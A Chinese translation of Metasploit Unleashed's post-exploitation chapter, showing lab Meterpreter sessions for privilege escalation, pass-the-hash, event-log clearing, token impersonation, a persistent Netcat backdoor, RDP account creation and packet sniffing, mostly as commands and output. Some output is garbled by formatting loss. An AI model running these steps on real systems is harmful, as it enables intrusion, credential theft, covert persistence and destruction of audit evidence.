翻译者说明1:本文为Metasploit Unleashed中文版翻译。原文链接:https://www.offensive-security.com/metasploit-unleashed/

翻译者说明2:为减轻翻译负担采用了机器翻译,翻译者从中人工剔除了机翻错误或歧义的问题,但难免会存在小问题,请读者见谅。如发现文章翻译存在问题,可在文章下方评论留言。

翻译者说明3:如果你喜欢这篇翻译,请给关注一下我并给文章点个赞,你的支持是给我工作的最大鼓励。

翻译者说明4:其他章节一并整合在专栏中,如有兴趣可关注专栏了解更多内容。

十一、MSF 后渗透

在如此努力地成功利用一个系统之后,我们接下来该怎么办?

我们希望通过在从一个系统到另一个系统的过程中转向和覆盖我们的轨道来进一步访问目标内部网络。渗透测试人员还可以选择嗅探其他潜在受害者的数据包,编辑其注册表以获取更多信息或访问权限,或设置后门以维护更永久的系统访问。

利用这些技术将确保我们保持一定程度的访问权限,并有可能更深入地进入目标受信任的基础设施。

1. 权限提升

经常,尤其是客户端漏洞利用,您会发现您的会话只有有限的用户权限。这可能会严重限制您可以在远程系统上执行的操作,例如转储密码,操作注册表,安装后门等。幸运的是,Metasploit有一个Meterpreter脚本getsystem,它将使用许多不同的技术来尝试在远程系统上获得SYSTEM级别的权限。还有其他各种(本地)漏洞利用也可用于提升权限。

使用臭名昭著的"Aurora"漏洞,我们看到我们的Meterpreter会话仅以常规用户帐户运行。

msf exploit(ms10_002_aurora) >
[*] Sending Internet Explorer "Aurora" Memory Corruption to client 192.168.1.161
[*] Sending stage (748544 bytes) to 192.168.1.161
[*] Meterpreter session 3 opened (192.168.1.71:38699 -> 192.168.1.161:4444) at 2010-08-21 13:39:10 -0600msf exploit(ms10_002_aurora) > sessions -i 3
[*] Starting interaction with 3...meterpreter > getuid
Server username: XEN-XP-SP2-BARE\victim
meterpreter >

1)获取系统

要使用 getsystem 命令,如果它尚未加载,我们需要首先加载 ‘priv’ 扩展。

meterpreter > use priv
Loading extension priv...success.
meterpreter >

使用 -h 开关运行 getsystem 将显示我们可用的选项。

meterpreter > getsystem -h
Usage: getsystem [options]Attempt to elevate your privilege to that of local system.OPTIONS:-h        Help Banner.-t   The technique to use. (Default to '0').0 : All techniques available1 : Service - Named Pipe Impersonation (In Memory/Admin)2 : Service - Named Pipe Impersonation (Dropper/Admin)3 : Service - Token Duplication (In Memory/Admin)meterpreter >

我们将让Metasploit尝试通过运行getsystem没有任何选项来为我们完成繁重的工作。该脚本将尝试所有可用的方法,并在成功时停止。在眨眼之间,我们的会话现在以SYSTEM权限运行。

meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

2)本地漏洞利用

在某些情况下,getsystem系统会失败。例如:

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.
meterpreter >

当这种情况发生时,我们能够在会话后台进行后台操作,并手动尝试Metasploit必须提供的一些其他漏洞。注意:可用的漏洞利用将随时间而变化。

meterpreter > background
[*] Backgrounding session 1...
msf exploit(ms10_002_aurora) > use exploit/windows/local/
...snip...
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
...snip...
use exploit/windows/local/ms10_015_kitrap0d
use exploit/windows/local/ms10_092_schelevator
use exploit/windows/local/ms11_080_afdjoinleaf
use exploit/windows/local/ms13_005_hwnd_broadcast
use exploit/windows/local/ms13_081_track_popup_menu
...snip...
msf exploit(ms10_002_aurora) >

让我们尝试在我们的目标上使用著名的kitrap0d漏洞。我们的示例框是一台 32 位计算机,被列为易受攻击的目标之一…

msf exploit(ms10_002_aurora) > use exploit/windows/local/ms10_015_kitrap0d
msf exploit(ms10_015_kitrap0d) > set SESSION 1
msf exploit(ms10_015_kitrap0d) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms10_015_kitrap0d) > set LHOST 192.168.1.161
msf exploit(ms10_015_kitrap0d) > set LPORT 4443
msf exploit(ms10_015_kitrap0d) > show optionsModule options (exploit/windows/local/ms10_015_kitrap0d):Name     Current Setting  Required  Description----     ---------------  --------  -----------SESSION  1                yes       The session to run this module on.Payload options (windows/meterpreter/reverse_tcp):Name      Current Setting  Required  Description----      ---------------  --------  -----------EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)LHOST     192.168.1.161    yes       The listen addressLPORT     4443             yes       The listen portExploit target:Id  Name--  ----0   Windows 2K SP4 - Windows 7 (x86)msf exploit(ms10_015_kitrap0d) > exploit[*]  Started reverse handler on 192.168.1.161:4443
[*]  Launching notepad to host the exploit...
[+]  Process 4048 launched.
[*]  Reflectively injecting the exploit DLL into 4048...
[*]  Injecting exploit into 4048 ...
[*]  Exploit injected. Injecting payload into 4048...
[*]  Payload injected. Executing exploit...
[+]  Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*]  Sending stage (769024 bytes) to 192.168.1.71
[*]  Meterpreter session 2 opened (192.168.1.161:4443 -> 192.168.1.71:49204) at 2014-03-11 11:14:00 -0400meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

2. psexec 传递哈希

渗透测试人员通常使用 psexec 模块来访问您已经知道凭据的给定系统。它由Sysinternals编写,并已集成到框架内。通常作为渗透测试人员,我们通过一些漏洞成功访问系统,使用meterpreter获取密码或其他方法,如fgdumppwdumphashdump,然后使用彩虹表来破解这些哈希值。

我们还有其他选择,例如通过iam.exe等工具传递哈希。在metasploit中使用psexec的一个很好的方法是,它允许您输入密码本身,或者您只需指定哈希值,而无需破解即可访问系统。让我们深入思考如何利用这种攻击进一步渗透网络。首先,假设我们破坏了在系统上有管理员密码的系统,我们不需要破解它,因为psexec只允许我们使用哈希值,该管理员帐户在域基础结构中的每个帐户上都是相同的。现在,我们可以从一个系统转到另一个系统,而不必担心破解密码。需要注意的一件重要事情是,如果 NTLM 仅可用(例如,它是一个 15 个字符以上的密码,或者通过 GPO,他们仅指定 NTLM 响应),只需将 NOPASSWORD 替换为 32 个 0,例如:

******NOPASSWORD*******:8846f7eaee8fb117ad06bdd830b7586c

将替换为:

00000000000000000000000000000000:8846f7eaee8fb117ad06bdd830b7586c

在实验室中对此进行测试时,即使您使用的是正确的凭据,也可能会遇到以下错误:

STATUS_ACCESS_DENIED (Command=117 WordCount=0)

这可以通过导航到目标系统上的注册表项"HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters"并将 RequireSecuritySignature 的值设置为"0"来解决此问题。

[*] Meterpreter session 1 opened (192.168.57.139:443 -> 192.168.57.131:1042)meterpreter > run post/windows/gather/hashdump [*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
meterpreter >

现在我们有了一个meterpreter控制台并转储了哈希值,让我们使用PSExec和哈希值连接到不同的受害者。

root@kali:~# msfconsole##                          ###           ##    ####  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### #####=[ metasploit v4.2.0-dev [core:4.2 api:1.0]
+ -- --=[ 787 exploits - 425 auxiliary - 128 post
+ -- --=[ 238 payloads - 27 encoders - 8 nops=[ svn r14551 updated yesterday (2012.01.14)msf > search psexecExploits
========Name                       Description----                       -----------windows/smb/psexec         Microsoft Windows Authenticated User Code Executionwindows/smb/smb_relay      Microsoft Windows SMB Relay Code Executionmsf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.57.133
LHOST => 192.168.57.133
msf exploit(psexec) > set LPORT 443
LPORT => 443
msf exploit(psexec) > set RHOST 192.168.57.131
RHOST => 192.168.57.131
msf exploit(psexec) > show optionsModule options:Name     Current Setting  Required  Description----     ---------------  --------  -----------RHOST    192.168.57.131   yes       The target addressRPORT    445              yes       Set the SMB service portSMBPass                   no        The password for the specified usernameSMBUser  Administrator    yes       The username to authenticate asPayload options (windows/meterpreter/reverse_tcp):Name      Current Setting  Required  Description----      ---------------  --------  -----------EXITFUNC  thread           yes       Exit technique: seh, thread, processLHOST     192.168.57.133   yes       The local addressLPORT     443              yes       The local portExploit target:Id  Name--  ----0   Automaticmsf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'Administrator'...
[*] Uploading payload...
[*] Created \KoVCxCjx.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.131[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.131[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (XKqtKinn - "MSSeYtOQydnRPWl")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \KoVCxCjx.exe...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.57.133:443 -> 192.168.57.131:1045)meterpreter > shell
Process 3680 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.C:\WINDOWS\system32>

就是这样!我们成功连接到具有相同凭据的单独计算机,而不必担心彩虹表或破解密码。特别感谢克里斯·盖茨(Chris Gates)对此的文档。

3. 事件日志管理

有时最好不要记录您的活动。无论出于何种原因,您可能会发现需要清除 Windows 事件日志的情况。查看位于 scripts/meterpreter 中的 winenum 脚本的源代码,我们可以看到此函数的工作方式。

def clrevtlgs()evtlogs = ['security','system','application','directory service','dns server','file replication service']print_status("Clearing Event Logs, this will leave and event 517")beginevtlogs.each do |evl|print_status("\tClearing the #{evl} Event Log")log = @client.sys.eventlog.open(evl)log.clearfile_local_write(@dest,"Cleared the #{evl} Event Log")endprint_status("All Event Logs have been cleared")rescue ::Exception => eprint_status("Error clearing Event Log: #{e.class} #{e}")end
end

让我们看一个需要清除事件日志的场景,但是我们将使用Meterpreter中ruby解释器的强大功能来动态清除日志,而不是使用预制脚本为我们完成工作。首先,让我们看看我们的Windows"系统"事件日志。

现在,让我们利用系统并手动清除日志。我们将根据 winenum 脚本对命令进行建模。运行log = client.sys.eventlog.open('system') 将为我们打开系统日志。

msf exploit(warftpd_165_user) > exploit[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Connecting to FTP server 172.16.104.145:21...
[*] Connected to target FTP server.
[*] Trying target Windows 2000 SP0-SP4 English...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 2 opened (172.16.104.130:4444 -> 172.16.104.145:1246)meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>> log = client.sys.eventlog.open('system')
=> #>#:0xb6779424 @client=#>, #>, #"windows/browser/facebook_extractiptc"=>#, "windows/antivirus/trendmicro_serverprotect_earthagent"=>#, "windows/browser/ie_iscomponentinstalled"=>#, "windows/exec/reverse_ord_tcp"=>#, "windows/http/apache_chunked"=>#, "windows/imap/novell_netmail_append"=>#

现在,我们将看看是否可以通过运行 log.clear 清除日志。

>> log.clear
=> #>#:0xb6779424 @client=#>,/trendmicro_serverprotect_earthagent"=>#, "windows/browser/ie_iscomponentinstalled"=>#, "windows/exec/reverse_ord_tcp"=>#, "windows/http/apache_chunked"=>#, "windows/imap/novell_netmail_append"=>#

让我们看看它是否有效。

成功!现在,我们可以更进一步,创建自己的脚本来清除事件日志。

# Clears Windows Event Logsevtlogs = ['security','system','application','directory service','dns server','file replication service']
print_line("Clearing Event Logs, this will leave an event 517")
evtlogs.each do |evl|print_status("Clearing the #{evl} Event Log")log = client.sys.eventlog.open(evl)log.clear
end
print_line("All Clear! You are a Ninja!")

编写脚本后,我们将其放在 /usr/share/metasploit-framework/scripts/meterpreter/ 中。然后,让我们重新利用系统,看看它是否有效。

msf exploit(warftpd_165_user) > exploit[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Connecting to FTP server 172.16.104.145:21...
[*] Connected to target FTP server.
[*] Trying target Windows 2000 SP0-SP4 English...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (172.16.104.130:4444 -> 172.16.104.145:1253)meterpreter > run clearlogs
Clearing Event Logs, this will leave an event 517
[*] Clearing the security Event Log
[*] Clearing the system Event Log
[*] Clearing the application Event Log
[*] Clearing the directory service Event Log
[*] Clearing the dns server Event Log
[*] Clearing the file replication service Event Log
All Clear! You are a Ninja!
meterpreter > exit

系统日志中唯一剩下的事件是预期的 517。

这就是Meterpreter的强大功能。除了我们从另一个脚本中获取的一些示例代码之外,没有太多的背景知识,我们创建了一个有用的工具来帮助我们掩盖我们的操作。

4. Incognito(隐身)的乐趣

Incognito最初是一个独立的应用程序,允许您在成功破坏系统时模拟用户令牌。它被集成到Metasploit中,并最终集成到Meterpreter中。您可以通过Luke Jennings阅读有关隐身以及令牌窃取的工作原理的更多信息原稿.

简而言之,token(令牌)就像网络cookie一样。它们是一个临时密钥,允许您访问系统和网络,而无需在每次访问文件时提供凭据。Incognito利用这与cookie窃取的工作方式相同,在被要求进行身份验证时重播该临时密钥。有两种类型的令牌:委托令牌模拟令牌。委托令牌是为"交互式"登录创建的,例如登录到计算机或通过远程桌面连接到计算机。模拟令牌用于"非交互式"会话,例如附加网络驱动器或域登录脚本。
关于令牌的其他好处是什么?它们将一直持续到重新启动。当用户注销时,其委托令牌将报告为模拟令牌,但仍将持有委托令牌的所有权限。

提示:文件服务器是令牌的虚拟宝库,因为大多数文件服务器通过域登录脚本用作网络连接驱动器

一旦您拥有Meterpreter会话,您就可以在系统上模拟有效的令牌并成为该特定用户,而不必担心凭据,甚至不需要哈希。在渗透测试期间,这特别有用,因为令牌有可能允许本地和/或域权限升级,使您能够通过可能提升的权限到多个系统的备用途径。

首先,让我们使用Meterpreter有效载荷加载我们最喜欢的漏洞,ms08_067_netapi。请注意,我们手动设置了目标,因为此特定漏洞并不总是自动正确检测目标。将其设置为已知目标将确保使用正确的内存地址进行利用。

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 10.211.55.140
RHOST => 10.211.55.140
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 10.211.55.162
LHOST => 10.211.55.162
msf exploit(ms08_067_netapi) > set LANG english
LANG => english
msf exploit(ms08_067_netapi) > show targetsExploit targets:Id  Name                                               --  ----                                               0   Automatic Targeting                                1   Windows 2000 Universal                             2   Windows XP SP0/SP1 Universal                       3   Windows XP SP2 English (NX)                        4   Windows XP SP3 English (NX)                        5   Windows 2003 SP0 Universal                         6   Windows 2003 SP1 English (NO NX)                   7   Windows 2003 SP1 English (NX)                      8   Windows 2003 SP2 English (NO NX)                   9   Windows 2003 SP2 English (NX)                      10  Windows XP SP2 Arabic (NX)                         11  Windows XP SP2 Chinese - Traditional / Taiwan (NX) msf exploit(ms08_067_netapi) > set TARGET 8
target => 8
msf exploit(ms08_067_netapi) > exploit[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (10.211.55.162:4444 -> 10.211.55.140:1028)meterpreter >

我们现在有一个Meterpreter控制台,我们将从中开始incognito令牌攻击。与priv(hashdumptimestup )和stdapi(uploaddownload等)一样,incognito是Meterpreter模块。我们通过执行 use incognito 命令将模块加载到 Meterpreter 会话中。发出help命令向我们展示了各种incognito选项以及每个选项的简要说明。

meterpreter > use incognito
Loading extension incognito...success.
meterpreter > helpIncognito Commands
==================Command              Description                                             -------              -----------                                             add_group_user       Attempt to add a user to a global group with all tokens add_localgroup_user  Attempt to add a user to a local group with all tokens  add_user             Attempt to add a user with all tokens                   impersonate_token    Impersonate specified token                             list_tokens          List tokens available under current user context        snarf_hashes         Snarf challenge/response hashes for every token         meterpreter >

我们首先需要做的是确定此系统上是否有任何有效的令牌。根据漏洞利用提供的访问级别,您可以查看的令牌会受到限制。在令牌窃取方面,SYSTEM是王道。作为系统,您可以查看和使用盒子上的任何令牌。

提示:管理员也无法访问所有令牌,但他们确实能够迁移到 SYSTEM 进程,从而有效地使它们成为系统,并能够查看所有可用的令牌。

meterpreter > list_tokens -uDelegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
SNEAKS.IN\AdministratorImpersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGONmeterpreter >

我们在这里看到,有一个有效的管理员令牌看起来很有趣。我们现在需要模拟此令牌才能承担其权限。发出impersonate_token命令时,请注意SNEAKS.IN\\Administrator。这是必需的,因为它只会导致一个斜杠的错误。另请注意,在成功模拟令牌后,我们通过执行 getuid 命令来检查当前的 userID

meterpreter > impersonate_token SNEAKS.IN\\Administrator
[+] Delegation token available
[+] Successfully impersonated user SNEAKS.IN\Administrator
meterpreter > getuid
Server username: SNEAKS.IN\Administrator
meterpreter >

接下来,让我们通过在 Meterpreter 中运行 execute -f cmd.exe -i -t 作为此单个帐户运行一个 shell。这告诉Metasploit执行cmd.exe,-i允许我们与受害者PC进行交互,-t承担我们刚刚通过incognito冒充的角色。

meterpreter > shell
Process 2804 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.C:\WINDOWS\system32> whoami
whoami
SNEAKS.IN\administratorC:\WINDOWS\system32>

5. 与注册表交互

Windows注册表是一个神奇的地方,只需敲几下键,您就可以使系统几乎无法使用。因此,在下一节中要非常小心,因为错误可能会很痛苦。

Meterpreter具有一些非常有用的注册表交互功能。让我们看一下选项。

meterpreter > reg
Usage: reg [command] [options]Interact with the target machine's registry.OPTIONS:-d   The data to store in the registry value.-h        Help menu.-k   The registry key path (E.g. HKLM\Software\Foo).-r   The remote machine name to connect to (with current process credentials-t   The registry value type (E.g. REG_SZ).-v   The registry value name (E.g. Stuff).-w        Set KEY_WOW64 flag, valid values [32|64].
COMMANDS:enumkey     Enumerate the supplied registry key [-k ]createkey   Create the supplied registry key  [-k ]deletekey   Delete the supplied registry key  [-k ]queryclass Queries the class of the supplied key [-k ]setval      Set a registry value [-k  -v  -d ]deleteval   Delete the supplied registry value [-k  -v ]queryval    Queries the data contents of a value [-k  -v ]

在这里,我们可以看到可以使用各种选项与远程系统进行交互。我们有读取、写入、创建和删除远程注册表项的完整选项。这些可用于任意数量的操作,包括远程信息收集。使用注册表,可以找到已使用的文件,Internet Explorer中访问的网站,使用的程序,使用的USB设备等。

有一个伟大的快速参考列表Access Data 发布的这些有趣的注册表项,以及当您要查找特定内容时值得查找的任意数量的 Internet 引用。

1)持久性 Netcat 后门

在这个例子中,我们将安装一个Netcat后门,而不是在远程系统上查找信息。这包括对系统注册表和防火墙的更改。

首先,我们必须将 Netcat 的副本上传到远程系统。

meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
[*] uploading  : /usr/share/windows-binaries/nc.exe -> C:\windows\system32
[*] uploaded   : /usr/share/windows-binaries/nc.exe -> C:\windows\system32nc.exe

之后,我们与注册表一起工作,让 netcat 在启动时执行,并在端口 445 上侦听。我们通过编辑密钥"HKLM\software\microsoft\windows\currentversion\run"来做到这一点。

之后,我们与注册表一起工作,让 netcat 在启动时执行,并在端口 445 上侦听。我们通过编辑密钥"HKLM\software\microsoft\windows\currentversion\run"来做到这一点。

接下来,我们需要更改系统,以允许通过防火墙远程连接到我们的Netcat后门。我们打开一个交互式命令提示符,并使用 netsh 命令进行更改,因为它远不如直接更改注册表容易出错。此外,显示的过程应该适用于更多版本的Windows,因为注册表位置和功能高度依赖于版本和补丁级别。

meterpreter > execute -f cmd -i
Process 1604 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.C:\Documents and Settings\Jim\My Documents > netsh firewall show opmode
Netsh firewall show opmodeDomain profile configuration:
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = EnableStandard profile configuration (current):
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = EnableLocal Area Connection firewall configuration:
-------------------------------------------------------------------
Operational mode                  = Enable

我们在防火墙中打开端口 445,并仔细检查它是否设置正确。

C:\Documents and Settings\Jim\My Documents > netsh firewall add portopening TCP 445 "Service Firewall" ENABLE ALL
netsh firewall add portopening TCP 445 "Service Firewall" ENABLE ALL
Ok.C:\Documents and Settings\Jim\My Documents > netsh firewall show portopening
netsh firewall show portopeningPort configuration for Domain profile:
Port   Protocol  Mode     Name
-------------------------------------------------------------------
139    TCP       Enable   NetBIOS Session Service
445    TCP       Enable   SMB over TCP
137    UDP       Enable   NetBIOS Name Service
138    UDP       Enable   NetBIOS Datagram ServicePort configuration for Standard profile:
Port   Protocol  Mode     Name
-------------------------------------------------------------------
445    TCP       Enable   Service Firewall
139    TCP       Enable   NetBIOS Session Service
445    TCP       Enable   SMB over TCP
137    UDP       Enable   NetBIOS Name Service
138    UDP       Enable   NetBIOS Datagram ServiceC:\Documents and Settings\Jim\My Documents >

因此,完成此操作后,我们将重新启动远程系统并测试 Netcat shell。

root@kali:~# nc -v 172.16.104.128 445
172.16.104.128: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [172.16.104.128] 445 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.C:\Documents and Settings\Jim > dir
dir
Volume in drive C has no label.
Volume Serial Number is E423-E726Directory of C:\Documents and Settings\Jim05/03/2009 01:43 AM
.
05/03/2009 01:43 AM
..
05/03/2009 01:26 AM 0 ;i
05/12/2009 10:53 PM
Desktop
10/29/2008 05:55 PM
Favorites
05/12/2009 10:53 PM
My Documents
05/03/2009 01:43 AM 0 QCY
10/29/2008 03:51 AM
Start Menu
05/03/2009 01:25 AM 0 talltelnet.log
05/03/2009 01:25 AM 0 talltftp.log
4 File(s) 0 bytes
6 Dir(s) 35,540,791,296 bytes freeC:\Documents and Settings\Jim >

美妙!在现实世界中,我们不会使用像这样简单的后门,没有身份验证或加密,但是对于系统的其他更改以及启动时可能想要执行的其他类型的程序,此过程的原则保持不变。

6. 启用远程桌面

让我们看一下另一种情况,其中Metasploit使得使用内置系统工具对系统进行后门操作变得非常容易。我们将使用Carlos Perez的getgui脚本,该脚本启用远程桌面并创建一个用户帐户供您登录。使用此脚本再简单不过了。

meterpreter > run getgui -h
[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
[!] Example: run post/windows/manage/enable_rdp OPTION=value [...]
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u  -p
Or:    getgui -eOPTIONS:-e        Enable RDP only.-f   Forward RDP Connection.-h        Help menu.-p   The Password of the user to add.-u   The Username of the user to add.meterpreter > run getgui -u loneferret -p password
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Language detection started
[*]     Language detected: en_US
[*] Setting user account for logon
[*]     Adding User: loneferret with Password: password
[*]     Adding User: loneferret to local group ''
[*]     Adding User: loneferret to local group ''
[*] You can now login with the created user
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20110112.2448.rc
meterpreter >

我们完成了!就是这样。让我们测试连接,看看它是否真的那么简单。

在这里我们看到它是。我们使用 rdesktop 命令并指定了要用于登录的用户名和密码。然后,我们收到一条错误消息,告知我们某个用户已登录到系统控制台,如果我们继续,该用户将断开连接。这是 Windows XP 桌面系统的预期行为,因此我们可以看到一切按预期工作。请注意,Windows Server 允许并发图形登录,因此您可能不会遇到此警告消息。

请记住,这些类型的更改可能非常强大。但是,请明智地使用这种权力,因为所有这些步骤都以调查人员可以用来跟踪对系统采取何种行动的方式改变了系统。所做的更改越多,您留下的证据就越多。

完成当前系统操作后,您将需要运行提供的清理脚本以删除添加的帐户。

meterpreter > run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20110112.2448.rc
[*] Running Command List ...
[*]     Running command execute -H -f cmd.exe -a "/c net user hacker /delete"
Process 288 created.
meterpreter >

7. 数据包嗅探

Meterpreter 具有在不接触硬盘的情况下对远程主机进行数据包嗅探的能力。如果我们要监视正在发送的信息类型,这将特别有用,甚至更好的是,这可能是多个辅助模块的开始,这些模块最终将在捕获文件中查找敏感数据。sniffer模块可以在环形缓冲区中存储多达200000个数据包,并以标准PCAP格式导出它们,以便您可以使用psnuffle,dsniff,wireshark等处理它们。

我们首先向受害者发射远程漏洞,并获得我们的标准反向Meterpreter控制台。

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpeter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 10.211.55.126
msf exploit(ms08_067_netapi) > set RHOST 10.10.1.119
msf exploit(ms08_067_netapi) > exploit[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (205824 bytes)
[*] Meterpreter session 1 opened (10.10.1.4:4444 -> 10.10.1.119:1921)

从这里,我们在接口 2 上启动嗅探器并开始收集数据包。然后,我们将嗅探器输出转储到 /tmp/all.cap。

meterpreter > use sniffer
Loading extension sniffer...success.meterpreter > helpSniffer Commands
================Command             Description-------             -----------sniffer_dump        Retrieve captured packet datasniffer_interfaces  List all remote sniffable interfacessniffer_start       Capture packets on a previously opened interfacesniffer_stats       View statistics of an active capturesniffer_stop        Stop packet captures on the specified interfacemeterpreter > sniffer_interfaces1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
2 - 'Intel(R) PRO/1000 MT Network Connection' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
3 - 'Intel(R) PRO/1000 MT Network Connection' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )meterpreter > sniffer_start 2
[*] Capture started on interface 2 (50000 packet buffer)meterpreter > sniffer_dump 2 /tmp/all.cap
[*] Dumping packets from interface 2...
[*] Wrote 19 packets to PCAP file /tmp/all.capmeterpreter > sniffer_stats 2
[*] Capture statistics for interface 2packets: 4632bytes: 1978363meterpreter > sniffer_dump 2 /tmp/all.cap
[*] Flushing packet capture buffer for interface 2...
[*] Flushed 5537 packets (3523012 bytes)
[*] Downloaded 014% (524288/3523012)...
[*] Downloaded 029% (1048576/3523012)...
[*] Downloaded 044% (1572864/3523012)...
[*] Downloaded 059% (2097152/3523012)...
[*] Downloaded 074% (2621440/3523012)...
[*] Downloaded 089% (3145728/3523012)...
[*] Downloaded 100% (3523012/3523012)...
[*] Download completed, converting to PCAP...
[-] Corrupted packet data (length:10359)
[*] PCAP file written to /tmp/all.capmeterpreter > sniffer_stop 2
[*] Capture stopped on interface 2
[*] There are 279 packets (57849 bytes) remaining
[*] Download or release them using 'sniffer_dump' or 'sniffer_release'meterpreter > sniffer_release 2
[*] Flushed 279 packets (57849 bytes) from interface 2
meterpreter >

现在,我们可以使用自己喜欢的解析器或数据包分析工具来查看截获的信息。

Meterpreter 数据包嗅探器使用 MicroOLAP 数据包嗅探器 SDK,可以从受害计算机嗅探数据包,而无需安装任何驱动程序或写入文件系统。该模块足够智能,可以实现自己的流量,并将自动从Meterpreter交互中删除任何流量。此外,Meterpreter 通过 SSL/TLS 隧道传输所有信息,并完全加密。

1)数据包记录器

作为使用嗅探器扩展的替代方法,Carlos Perez 编写了packetrecorder Meterpreter 脚本,该脚本允许在捕获数据包时实现更多的粒度。为了查看哪些选项可用,我们发出不带任何参数的 run packetrecorder 命令。

meterpreter > run packetrecorder
Meterpreter Script for capturing packets in to a PCAP file
on a target host given a interface ID.OPTIONS:-h        Help menu.-i   Interface ID number where all packet capture will be done.-l   Specify and alternate folder to save PCAP file.-li        List interfaces that can be used for capture.-t   Time interval in seconds between recollection of packet, default 30 seconds.

在开始嗅探流量之前,我们首先需要确定哪些接口可供我们使用。

meterpreter > run packetrecorder -li1 - 'Realtek RTL8139 Family PCI Fast Ethernet NIC' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
2 - 'Citrix XenServer PV Ethernet Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
3 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )

我们将开始在第二个界面上嗅探流量,将日志保存到Kali系统的桌面上,并让嗅探器运行一段时间。

meterpreter > run packetrecorder -i 2 -l /root/
[*] Starting Packet capture on interface 2
[+] Packet capture started
[*] Packets being saved in to /root/logs/packetrecorder/XEN-XP-SP2-BARE_20101119.5105/XEN-XP-SP2-BARE_20101119.5105.cap
[*] Packet capture interval is 30 Seconds
^C
[*] Interrupt
[+] Stopping Packet sniffer...
meterpreter >

